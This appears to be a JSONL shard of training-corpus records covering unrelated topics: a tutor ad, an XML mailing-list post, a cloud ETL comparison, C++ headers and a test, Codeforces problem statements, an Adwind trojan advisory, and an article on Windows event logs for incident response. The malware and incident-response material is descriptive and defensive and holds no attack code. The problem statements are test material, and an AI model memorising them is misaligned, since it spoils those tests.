{"text": "I will teach the way you prefer, depending to the number of students.\nI Am a Java developer, with 4 years development experience. I only offer teaching within 3 miles radius from colindale station. I have been working as a developer since 2016, moreover had completed several software projects.\nyou can go through my CV and find out about the details of my programming knowledge.\nThe best tutor I have ever seen. I do recommend him.\ncomputer programming lessons closeby? Here's a selection of tutor listings that you can check out.\nSuperprof can also suggest HTML lessons to help you.\nLearning isn't a problem, programming languages lessons for all!\nTaking java lessons has never been easier: you're going to learn new skills.\n|at his home||at your home||By webcam|\n|1 hour||Not available||£20||£20|\n|5 hours||Not available||£90||£100|\n|10 hours||Not available||£170||£200|", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Lists Home |\nDate Index |\nOn Thursday 31 January 2002 06:50 pm, Jonathan Borden wrote:\n> > I think this is a misnomer carried over from the ancient days of\n> > SGML.\n> When you say \"misnomer\" do you mean that XML 1.0's usage of the term\n> \"type\" as in:\n> \"The Name in the start- and end-tags gives the element's type...\"\n> is wrong?\nYes.... or at least ambiguous.\nI think the term \"type\" here is often interpreted to mean \"type\" in\nthe sense of \"int\", \"float\" etc. as found in strongly typed computer\nprogramming languages. Perhaps for SGML, which required DTD's , and so\nto a degree was statically typed (hah!) it was similar, but I think\nfor XML, the notion of \"type\" is really much looser.... very much\ncloser to the Common Lisp way, where type is by projection, as Joe\npointed out. In practise, this was usually true of SGML too...\n> XML 1.0 does say this, and an element's name _is_ different than\n> other attributes of the element. Purely from a definitional\nYes, because it is required. Whether this is largely a feature of\nsyntax could be a point of discussion, though not overly interesting.\nJust to clarify terminology, I am using attribute in a slightly wider\nsense than XML... more like the notion of \"field\" or \"named data\n> I am not sure what you mean. I am saying that I find it useful from\n> a processing POV, to consider an element's name, just as what XML\n> 1.0 says, its \"type\" and moreover that this defines the \"isa\" link.\nSure. I think many people find this useful. My point is that the\n'is-a\" is not intrinsic... though the XML specification's use of the\nword 'type' might lead you to believe so. The application decides how\n'is-a' relationships are decided.\n> What is the myth? \"isa\" links have been used forever. A \"name\" is a\n> character string, right, what is open to interpretation?\nI should have been more precise, sorry. When I say \"isa is a myth\", I\nmeant \"isa links are intrinsic is a myth\". Again, my assertion is\nthat 'is-a' only exists in the context of a given interpreter.\n> At the end of the day, we do all this because it is useful, and the\n> utility of thinking about namespaces in one way or another is purely\n> the usefulness of doing so.\nSure, in the context of a given application, one style is preferrable\nto another mostly because of it's utility.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 611, "token_count_with_eod": 612, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "During a recent Vanderbilt baseball game, play-by-play broadcaster Max Herz brought up the unconventionally high uniform numbers assigned by Tim Corbin in recent years. Having some already-existing code that parses rosters from the official Vanderbilt Baseball roster page, I threw together a quick visualization of the uniform number distribution from 2005 (the earliest roster available) to 2021:\nThe next day, I spent a little more time improving the graphic by distinguishing between pitchers and position players and using opacity to indicate tenure of the same player wearing the number across multiple seasons:\nI put these together with some inelegant HTML + CSS exported as an image. Some day I might make an interacive version. Even more interesting would be to do this for MLB teams across a much longer history of seasons. A cursory look at MLB uniform numbers reveals that I'll need to handle the uniform number 1⁄8!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "AWS Glue and Azure Data Factory serve similar purposes. Both provide managed extract, transform and load services. Organizations can use these services to build integrated data pipelines in the cloud.\nThere are, however, important differences between Glue and Data Factory. The main differences lie in pricing models as well as support for data connectors and SQL Server Integration Services (SSIS) packages. Understanding these differences is crucial when it’s time to choose the right cloud ETL service for your workloads.\nWhat is AWS Glue?\nAWS Glue is a managed service on the Amazon cloud. It lets users collect, process and move data across data pipelines.\nAWS Glue is a serverless offering; it doesn’t require that users set up and manage the underlying ETL hosting infrastructure. AWS Glue provides the functionality businesses need to create ETL pipelines. The only requirement for the user is defining a data pipeline and the processes they want to run as data moves through it.\nWhat is Azure Data Factory?\nAzure Data Factory is a managed ETL service on the Microsoft Azure cloud. Like AWS Glue, Azure Data Factory is designed simplify processing and moving data across user-defined pipelines.\nData Factory is also a serverless offering; Azure provides and manages all the underlying infrastructure. Users can focus on their data pipelines without worrying about how those pipelines are hosted.\nHow to use AWS Glue and Azure Data Factory\nThe prerequisites for using AWS Glue and Azure Data Factory are essentially the same:\n- Data sources. Data sources are the places where data originates. They could be a database; an object storage service, such as Amazon S3 or Azure Blob Storage; or any other place where data is stored or streamed. Although Glue and Data Factory integrate most easily with data sources in their own respective clouds, they can support external data sources.\n- Data targets. Data targets are where data is located after it has been processed as part of an ETL pipeline. Usually, data targets are an object storage service or a database.\nTo build a data pipeline on either service, you must configure rules that define how the service collects data from data sources. The rules also define which processing methods, if any, are applied to data after collection. For example, you could pull data from an external data set to fill in missing information within a data source as part of a data pipeline. Alternatively, you could remove duplicate data entries from a data source.\nThe rules specify which targets the data should be pushed to after processing is complete. Users can manage Glue and Data Factory through cloud consoles or command line interface tools.\nAWS Glue vs. Azure Data Factory: The main differences\nAlthough Glue and Data Factory offer similar services and operate comparably, there are small but important differences between them.\nGlue's pricing model is more standardized and, as a result, likely more predictable.\nGlue charges mainly by data processing unit (DPU) hours. The DPU charge is consistent across most types of AWS Glue jobs and operations. At the time of publication, the DPU charge is $0.44/DPU-Hour in the AWS U.S. East (Ohio) region. There may be extra fees to extract data from data sources and for data catalog storage. There are no extra fees for services like pipeline runs.\nWith Azure Data Factory, you face more cost variables. Azure charges $0.25 per data integration unit, a unit similar to DPUs. Azure charges separate fees for the amount of time a pipeline is operational, data read/writes and total pipeline runs.\nAWS Glue and Azure Data Factory both provide a variety of data connectors. Connectors let the services connect to data stores that serve as data sources. However, there are some differences in which data stores they support.\nData Factory offers connector support for Microsoft products. Glue can integrate with the most popular Microsoft-based data stores, including SharePoint, but it doesn’t currently offer connectors for stores like Microsoft Access.\nAWS Glue and Azure Data Factory both import packages from SSIS. This a platform for creating data pipelines using Microsoft SQL Server. SSIS is commonly used to set up data pipelines in on-premises environments. Some businesses have SSIS packages that they want to migrate into the cloud to serve as the basis of their serverless ETL pipelines.\nImporting SSIS packages to AWS Glue requires more effort than with Azure Data Factory. Glue requires packages be converted, whereas Azure Data Factory lets users deploy and run SSIS packages directly without converting or migrating them.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 929, "token_count_with_eod": 930, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Getting Started with Jupyter Notebook and Python\nMP4 | Video: AVC 1280x720 | Audio: AAC 44KHz 2ch | Duration: 2 Hours 14M | 307 MB\nGenre: eLearning | Language: English\nJupyter Notebook is an interactive computing environment that transcends code, and it has completely disrupted the way that many Python developers work and think about software development. This course shows how you can let it do the same for you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "hey i am wondering how i would go about creating a program that does the following things:\n1. opens up an internet browser.\n2. takes you to a specified website.\n3. logs you in with specified name and password.\n4. takes you to a link on the post-login page.\n5. then inserts a value into a specified typing box such as \"150\"\n6. the value would be no greater than the the maximum amount possible(ex. you have 1,500,000 each 1 value you enter counts as 15, you can only therefore enter 100,000)\n7. it would then close and reopen every four hours.\nAny ideas, im kinda noobish so any help is appreciated", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We have recently upgraded to WeBWorK 2.8. When editing a homework set problem, I used the 'create unattached problem' option under the New Version tab. The problem was created within the local subdirectory of the templates directory, but the following error was opened in a new window.\nAny help with fixing this error would be appreciated. Thank you\nCannot find a problem record for set Undefined_Set / problem Undefined_Set at /opt/webwork/webwork2/lib/WeBWorK/ContentGenerator/Instructor/PGProblemEditor2.pm line 1032.\nThe information below can help locate the source of the problem.\nin WeBWorK::ContentGenerator::Instructor::PGProblemEditor2::getFilePaths called at line 275 of /opt/webwork/webwork2/lib/WeBWorK/ContentGenerator/Instructor/PGProblemEditor2.pm\nin WeBWorK::ContentGenerator::Instructor::PGProblemEditor2::pre_header_initialize called at line 183 of /opt/webwork/webwork2/lib/WeBWorK/ContentGenerator.pm\nin WeBWorK::ContentGenerator::go called at line 370 of /opt/webwork/webwork2/lib/WeBWorK.pm", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//========= Copyright Valve Corporation, All rights reserved. ============//\n//\n// Purpose: \n//\n//=============================================================================\n\n#ifndef BASE_GAMESTATS_PARSE_H\n#define BASE_GAMESTATS_PARSE_H\n#ifdef _WIN32\n#pragma once\n#endif\n\nenum CustomDataReturnCode\n{\n\tCUSTOMDATA_NONE = 0,\n\tCUSTOMDATA_FAILED,\n\tCUSTOMDATA_SUCCESS\n};\n\nclass IMySQL;\n\nstruct ParseContext_t\n{\n\tchar const *file;\n\tchar const *gamename;\n\tbool\t\tdescribeonly;\n\tIMySQL\t\t*mysql;\n\tint\t\t\tskipcount;\n\tbool\t\tbCustomDirectoryNotMade;\n};\n\nvoid ProcessPerfData( IMySQL *pSQL, time_t fileTime, char const *pGameName, char const *pPerfString );\n\n#endif // BASE_GAMESTATS_PARSE_H", "source": "cpt_stack_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Two neighboring kingdoms decided to build a wall between them with some gates to enable the citizens to go from one kingdom to another. Each time a citizen passes through a gate, he has to pay one silver coin.\n\nThe world can be represented by the first quadrant of a plane and the wall is built along the identity line (i.e. the line with the equation x = y). Any point below the wall belongs to the first kingdom while any point above the wall belongs to the second kingdom. There is a gate at any integer point on the line (i.e. at points (0, 0), (1, 1), (2, 2), ...). The wall and the gates do not belong to any of the kingdoms.\n\nFafa is at the gate at position (0, 0) and he wants to walk around in the two kingdoms. He knows the sequence S of moves he will do. This sequence is a string where each character represents a move. The two possible moves Fafa will do are 'U' (move one step up, from (x, y) to (x, y + 1)) and 'R' (move one step right, from (x, y) to (x + 1, y)).\n\nFafa wants to know the number of silver coins he needs to pay to walk around the two kingdoms following the sequence S. Note that if Fafa visits a gate without moving from one kingdom to another, he pays no silver coins. Also assume that he doesn't pay at the gate at point (0, 0), i. e. he is initially on the side he needs.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array $$$a$$$ of length $$$n$$$, and an integer $$$x$$$. You can perform the following operation as many times as you would like (possibly zero): replace two adjacent elements of the array by their sum. For example, if the initial array was $$$[3, 6, 9]$$$, in a single operation one can replace the last two elements by their sum, yielding an array $$$[3, 15]$$$, or replace the first two elements to get an array $$$[9, 9]$$$. Note that the size of the array decreases after each operation.\n\nThe beauty of an array $$$b=[b_1, \\ldots, b_k]$$$ is defined as $$$\\sum_{i=1}^k \\left\\lceil \\frac{b_i}{x} \\right\\rceil$$$, which means that we divide each element by $$$x$$$, round it up to the nearest integer, and sum up the resulting values. For example, if $$$x = 3$$$, and the array is $$$[4, 11, 6]$$$, the beauty of the array is equal to $$$\\left\\lceil \\frac{4}{3} \\right\\rceil + \\left\\lceil \\frac{11}{3} \\right\\rceil + \\left\\lceil \\frac{6}{3} \\right\\rceil = 2 + 4 + 2 = 8$$$.\n\nPlease determine the minimum and the maximum beauty you can get by performing some operations on the original array.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "New Insertion Policy UI and API functionality to target insertion policies against tags.\nNew Insertion Policy functionality available in Pulse UI\nPreviously, you had to configure a unique insertion policy for each combination of category, device container, and content play length, which allowed for no flexibility and could result in many duplicate insertion policies. Any changes you wanted to make had to be separately entered for each combination.\n- The tags specified in the insertion policy need to match at least one tag coming in the ad request to Pulse.\n- You can rank the tag based insertion policies, so when more than one insertion policy matches the tag targeting coming in the ad request, then the insertion policy with the highest rank gets selected.\n- If there are no matching tags, the old category based ad insertion policy acts as the default.\nTo access Insertion Policies in the Pulse UI, select Settings - Insertion Policy from the menu bar:\nBy default, you can create up to 50 insertion policies for your Pulse account and up to 20 tags per one insertion policy. Contact your Account Manager if you need to change these values.\nNew Insertion Policy API\n- retrieve an insertion policy template,\n- create and update insertion policies,\n- update the rank of an insertion policy,\n- and get information about insertion policies.\nThis release includes the following documentation updates:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Connected undirected weighted graph without self-loops and multiple edges is given. Graph contains n vertices and m edges.\n\nFor each edge (u, v) find the minimal possible weight of the spanning tree that contains the edge (u, v).\n\nThe weight of the spanning tree is the sum of weights of all edges included in spanning tree.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "App developers may get their first glimpse at the new system starting today, with the release of the first developer preview of Privacy Sandbox on Android, following in the footsteps of previous tests in Google's Chrome browser on the desktop.\nLast year, Apple added App Tracking Transparency to iOS, and the resulting shift in the data flow from mobile users shook even Facebook. Now, Google, whose business model is based on targeted advertising, is planning its multi-year adjustment to mobile ad tracking and privacy.\nThis new strategy is expected to replace Android's present advertising ID, which is a user-resettable ID for each device, with a Privacy Sandbox with \"new, more private advertising solutions,\" similar to Apple's approach, but we still don't know which technology would be used. This developer preview runs on top of the Android 13 Developer Beta and includes images for Pixel phones ranging from the Pixel 4 to the Pixel 6.\nGoogle's pitch has been that it can protect user privacy better than previous methods while still giving data for targeted advertising on websites like this one and inside many free apps. Competitors, privacy groups, and regulators have all said that Google's strategies will threaten privacy and possibly offer Google an unfair competitive edge. Last year, 15 state attorneys general filed an antitrust lawsuit against Google, targeting the Privacy Sandbox.\nDevelopers who participate in the beta will receive an early peek at the Privacy Sandbox and Google's cookie-replacing Topics API, as well as learn how they might work in practice.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 305, "token_count_with_eod": 306, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Barcode for .NET Free Download\nBarcode for .NET\nBarcode for .NET Free Download.\n.NET library to generate barcode images, supports Linear (1D), PDF417, Data Matrix, MaxiCode, QRCode\nBarcode for .NET keywords: bar code, linear, 2d pdf417, pdf417, one code, data matrix, datamatrix, maxicode\nJava Barcode Reader\nBarcode Reader for Java, a library to read barcode, supports Linear (1D), PDF417 (2D), Data Matrix, QRCode\nReporting Services Barcode CRI\nThis component creates barcodes in Microsoft Reporting Services as an integrated drag-and-drop Custom Report Item CRI control, without the use of barcode fonts. Includes installers for Reporting Services SQL Server 2005 and 2008.\nVB Barcode Integration Kit\nIntegrate barcodes into VB 6 and Visual Basic .NET with this package. Select from several integration options. Includes documentation and encoder source code for both VB and VB Dotnet by IDAutomation .com.\nTMS Smooth Controls Pack-Delphi6\nYour applications never get a second chance on a first impression! Use feature-rich sophisticated looking & smoothly animated controls including calendar, listbox, imagelist, panel, buttons, pagecontrol, LEDs, spinner, jogwheel, gauge, step control...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 282, "token_count_with_eod": 283, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Example protein complexes. White interactions indicate shared PPI between protein complexes. Purple nodes are bottleneck nodes. Protein complexes were obtained from DIP dataset and annotated using GO database (p-value < 0.01). Red interactions are core mediator complex, orange interactions are ubiquintin conjugating enzyme complex, yellow interactions are negative cofactor 2 complex and lime interactions are transcription factor TFIIF complex.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Getting your code to load and play animated GIFs is a struggle a lot of new coders go through. It is also a topic that is heavily discussed between developers. This blog will show you a few methods that may be a solution you are looking for. This is part 2 of a 3 part series showing you 3 different ways to load animated GIFs.\nFind an animated GIF and in my code examples switch your animated GIF filename with the filename I use in the code, gif betty boop glitter 108.gif. Store your GIF file in your Eclipse ASSET folder. Be sure you do this or these code examples will not work for you.\nThis time we will be using a new class called GifDecoder which you can download here.GifDecoder estracts the frames from the stream allowing us to use it. Place the GifDecoder file within your project src package.\nNow create a new class which inherits from ImageView.But it also needs a constructor with a Context and an InputStream. We did this in part 1 of this series, but this time we will be calling the playGif(InputStream) method, as you can see we are passing it our InputStream.\nOur class needs five variables.\nplayGif(InputStream) needs to have mGifDecoder initialized and then it will read our stream that we set as mIsPlayingGif.\nNow we are going to break down our thread a bit. We will count the frames of our animation and how many times to repeat. When GifDecoder,getLoopCount() returns a 0 we know that we should play the GIF forever. GifDecoder and getFrame() are going to work hand-in-hand by trasnferring the Bitmaps images and then we will post the new Bitmap using Handler and Runnable.\nThe only thing left to do now is use GifDecoderView in an Activity just like we did in Part 1 of this series.\nThis bad boy is going to eat up a lot of memory, so don't say I didn't warn you. Always call recycle() on every Bitmap you don't need anymore. For older devices that used native heap instead of the Dalvik VM heap this method will be a big strain when used with heavy GIF files.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 462, "token_count_with_eod": 463, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  task-schedule-test.h\n//  Residue\n//\n//  Copyright 2017-present Amrayn Web Services\n//  https://amrayn.com\n//\n//  Author: @abumusamq\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//    http://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n//\n\n#ifndef TASK_SCHEDULE_TEST_H\n#define TASK_SCHEDULE_TEST_H\n\n#include \"test.h\"\n\n#include \"tasks/task.h\"\n#include \"utils/utils.h\"\n\nusing namespace residue;\n\nclass SimpleTask final : public Task\n{\npublic:\n    explicit SimpleTask(unsigned int interval) :\n        Task(\"SimpleTask\", nullptr, interval)\n    {\n    }\n\n    virtual void execute() override\n    {\n        LOG(INFO) << \"SimpleTask::execute()\";\n    }\n};\n\nTEST(TaskScheduleTest, TestBasicSchedule)\n{\n    const types::Time now = Utils::now();\n    int interv = 20;\n    SimpleTask t(interv);\n    t.rescheduleFrom(now);\n    ASSERT_EQ(now + interv, t.nextExecution());\n    ASSERT_EQ(interv, t.intervalCount());\n}\n\n#endif // TASK_SCHEDULE_TEST_H", "source": "cpt_stack_code", "language": "code", "token_count": 376, "token_count_with_eod": 377, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You have a long fence which consists of $$$n$$$ sections. Unfortunately, it is not painted, so you decided to hire $$$q$$$ painters to paint it. $$$i$$$-th painter will paint all sections $$$x$$$ such that $$$l_i \\le x \\le r_i$$$.\n\nUnfortunately, you are on a tight budget, so you may hire only $$$q - 2$$$ painters. Obviously, only painters you hire will do their work.\n\nYou want to maximize the number of painted sections if you choose $$$q - 2$$$ painters optimally. A section is considered painted if at least one painter paints it.", "source": "cpt_codeforces", "language": "en", "token_count": 130, "token_count_with_eod": 131, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Adwind is a trojan (also known as jRAT, AlienSpy, JSocket, and Sockrat) is targeting the utilities sector via malspam that uses URL redirection to deliver malicious payloads. The embedded image in the email contains a malicious URL and is camouflaged as a PDF attachment. Adwind can record video and sound, snap photos using the infected machine's webcam, mine for cryptocurrency, and harvest cryptocurrency wallet information. It is distributed to threat actors as a malware-as-a-service (or MaaS) and can evade detection by most anti-malware solutions.\nBleeping Computer provides technical analysis on the Adwind trojan, available here.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Maybe not the sexiest designed diagram, but a nice one to keep in the collection.\nAbout this blog\nI'm Samuel Ericson, a Swedish interaction designer. I use this space to share links, thoughts and ideas or whatever I stumble across in the design sphere.\nMy Bettin.gs stats\nROI Profit +1.762% 726.47 Units Placed bets Won bets 11349 3731 (34%) Top sport Top bookie Horse Racing Betfair\nFull stats → Bettin.gs/samuelericson", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 120, "token_count_with_eod": 121, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It is winter now, and Max decided it's about time he watered the garden.\n\nThe garden can be represented as n consecutive garden beds, numbered from 1 to n. k beds contain water taps (i-th tap is located in the bed xi), which, if turned on, start delivering water to neighbouring beds. If the tap on the bed xi is turned on, then after one second has passed, the bed xi will be watered; after two seconds have passed, the beds from the segment [xi - 1, xi + 1] will be watered (if they exist); after j seconds have passed (j is an integer number), the beds from the segment [xi - (j - 1), xi + (j - 1)] will be watered (if they exist). Nothing changes during the seconds, so, for example, we can't say that the segment [xi - 2.5, xi + 2.5] will be watered after 2.5 seconds have passed; only the segment [xi - 2, xi + 2] will be watered at that moment.\n\nThe garden from test 1. White colour denotes a garden bed without a tap, red colour — a garden bed with a tap.\n\nThe garden from test 1 after 2 seconds have passed after turning on the tap. White colour denotes an unwatered garden bed, blue colour — a watered bed.\n\nMax wants to turn on all the water taps at the same moment, and now he wonders, what is the minimum number of seconds that have to pass after he turns on some taps until the whole garden is watered. Help him to find the answer!", "source": "cpt_codeforces", "language": "en", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "What joy! Petya's parents went on a business trip for the whole year and the playful kid is left all by himself. Petya got absolutely happy. He jumped on the bed and threw pillows all day long, until...\n\nToday Petya opened the cupboard and found a scary note there. His parents had left him with duties: he should water their favourite flower all year, each day, in the morning, in the afternoon and in the evening. \"Wait a second!\" — thought Petya. He know for a fact that if he fulfills the parents' task in the i-th (1 ≤ i ≤ 12) month of the year, then the flower will grow by ai centimeters, and if he doesn't water the flower in the i-th month, then the flower won't grow this month. Petya also knows that try as he might, his parents won't believe that he has been watering the flower if it grows strictly less than by k centimeters.\n\nHelp Petya choose the minimum number of months when he will water the flower, given that the flower should grow no less than by k centimeters.", "source": "cpt_codeforces", "language": "en", "token_count": 237, "token_count_with_eod": 238, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "well...kind of an Easter Egg , but attempt this at your own risk, the worst it could happen is a corrupt kaura.cfg file before you attempt this, there must be NO nds file in the root directory of your microsd, doing this trick in any other directory will corrupt your kaura.cfg file 1. add a game to the bottom box if there wasn't any, by clicking on the NDS Icon , choose a game and push Y 2. when you have a game listed on the bottom box of the Main Menu, click on the NDS Icon and goto the Root Directory by choosing the \"Folder with Arrow icon\" until you are at the root (where you see the SYSTEM folder), it should say \"File Not Found\" on the screen there is a fast (3a) way and a slow (3b) way of clearing the bottom box 3a. push the shoulder R button and the blue bracket will appear on the bottom left corner of the screen with some ? marks, next push the Y button and wait like 20 seconds and it'll automatically return to the Main Menu with an empty Bottom Box. 3b. push the shoulder L button, then push the Y button and wait like 50 seconds and it'll automatically return to the Main Menu with an empty Bottom Box.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 270, "token_count_with_eod": 271, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "help me with the down load please!\nok guys... i want to ask about downloading chapters in school rumble..\nthe problem is ..\ni couldn't download any chapter at all for school rumble's series..\nas for other series i can download it whithout diddiculties..\ni already asked the mod about this.. but still threre is still no answer,,\ni would aprreciate any help from anyone of u to help me..\noh yeah' my modem is the latest, and my internet connection is good too.\nso i can't find the problem..\ndoes anybody has a argument bout thiss?\nfor boys, girls are everything..\nand they''ll do anything to get\nthe girl..even for the last drop of their blood", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "By Emre Caglar Hosgor, SOC Analyst—Specially for Belkasoft\nIncident Response (IR) involves processes and technology for detecting and responding to cyber threats before, during, or after an incident. IR is an essential component of defensive cyber security. When we look at the chronological improvements, we see that the 1990s were the era of protection. By the 2000s, detection had gained importance. Recently, we have been aiming to combine protection, detection, and response against attacks. Computer forensics has followed a similar trend. In the 1990s, forensic investigation focused on protecting data and detecting cyber incidents. By the 2010s, response to events, root cause detection, and timeline analysis gained importance in Computer Forensics. All of these are essential parts of IR.\nThis article series will cover essential artifacts for IR and the use of Belkasoft Evidence Center X (hereinafter \"Belkasoft X\") by an incident responder. The first IR-related artifact to be discussed is the Windows event log files. Let us start with the structure of the artifact and computer forensic analysis for event logs.\nWhat are Windows Event Files\nIn the Windows operating system, software and hardware incidents, errors, and bugs are stored in a central location that Microsoft refers to as an event log. The Event Viewer is the appropriate program to view default events in Windows OS.\nEvent logging mechanisms in Windows are structured into five major categories:\n- Audit Success/Failure\nThe configurations are in the Computer\\HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog registry key. This key contains subkeys for each configurable item in the event logging mechanism. For instance, the Computer\\HKLM\\SYSTEM\\CurrentControlSet\\Services EventLog\\Application\\Edge key is the configuration of the logging mechanism for the Microsoft Edge Browser. You can see the details of the registry structure of the logging mechanism on a Windows 11 machine in Figure 1:\nFigure 1. EventLog key in Window Server 2022\nIn addition to the keys above, domain controllers have DNS, Directory Service, and File Replication logs by default. Each EventLog key contains subkeys for event sources. The application event log is the most customizable, and the security and system are the least customizable event logs. For IR, the security event logs are the essential sources.\nYou can access and review Windows event log details using the Event Viewer application. By default, Event Viewer log files use the .evt or.evtx extension and are located in the C:\\Windows\\System32\\winevt\\Logs. However, you can move the log files to another location by using the Event Viewer or by specifying another default location in the Registry Editor.\nThe location of Windows event log files on Windows servers can vary depending on the version of Windows Server. For example, on Windows Server 2016, log files can be found in the C:\\Windows\\System32\\winevt\\logs folder. On other versions of Windows Server, you may find log files in a different location.\nThe locations for Windows event log files are:\n- Windows Server 2019: C:\\Windows\\System32\\winevt\\logs\n- Windows Server 2012 R2: C:\\Windows\\System32\\winevt\\logs\n- Windows Server 2008 R2: C:\\Windows\\System32\\winevt\\logs\n- Windows Server 2003: C:\\Windows\\System32\\config\nEvent Logs for Incident Response\nEvent logs for incident response, by default, originate from security events. Only Local Security Authority (Lsass.exe) has permission to write security events. Security events can be structured via local or domain group policies. User account-related privilege escalation events are default logged under the security events. For the sake of brevity of the discussion, we will go over the essential event IDs about IR and Computer Forensics in security event logs. The detailed list can be found at the following link.\nThe most common security events are listed in Table 1:\n|A service was installed in the system\n|A scheduled task was created\n|A scheduled task was deleted\n|A scheduled task was updated\n|A new service is created on the local Windows machine.\n|The service terminated unexpectedly\n|Whenever Windows Security audit log is cleared, event ID 1102 is logged\n|This event is logged when the log file was cleared\n|The domain controller attempted to validate the credentials for an account\n|Kerberos pre-authentication failed\n|A Kerberos authentication ticket (TGT) was requested\n|An account was successfully logged on\n|An account failed to log on\n|User initiated logoff, an account was logged off\n|A logon was attempted using explicit credentials\n|Special privileges assigned to new logon\n|A user account was created\n|A user account was enabled\n|An attempt was made to reset an accounts password\n|4728, 4732, 4756\n|Group membership changes\n|A network share object was accessed\n|Network share object was checked to see whether the client can be granted desired access\nHow to Analyze Event Files with Belkasoft X\nBelkasoft X can analyze event logs in detail. First, whilst adding a data source, you should select System event log artifact (or just select all supported artifacts):\nFigure 2. Adding Event Logs in Belkasoft X\nNote that this will not only schedule searching for .evt and .evtx files but will also carve them, in case you selected carving for the data source analysis on the previous page of the Add data source sequence.\nOnce the analysis is completed, you can see the stats on every artifact, including event logs, on the dashboard. By clicking on the \"System event logs\", you can quickly start analyzing the events collected, parsed, and generated from the image. Figure 3 shows the dashboard after a successful analysis of the event logs:\nFigure 3. Dashboard View After Adding the Data Source to Belkasoft X\nFor a detailed review, you can open the Artifacts window of the product and navigate to the System event logs node. Figure 4 shows the event details on the Artifacts window:\nFigure 4. Analyzing Event Logs using Belkasoft X\nBelkasoft X can filter events by various criteria, including Event ID, Security ID, Event type and time, source, and others. During an IR, those filtering options are vital to focus on only relevant events since a typical event log contains thousands, if not tens of thousands, of records.\nThe Windows Event Log is one of the most important data sources for incident response. There are a number of standard log files, as well as custom event log types, which you can expect inside a Windows device. Depending on the Windows version, event logs are stored in .evt or .evtx files.\nBelkasoft X allows to extract, carve, analyze and visualize event details on a target system during a cyber incident response. A set of basic filters helps you to decrease the number of events to analyze. This article gives you a hint of which event numbers you might be interested in. For the following articles we continue our computer forensic focused IR journey. We are going to dive deep into logging mechanisms, detection methods, incorporating SIGMA and YARA rules into DFIR and many more.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1548, "token_count_with_eod": 1549, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
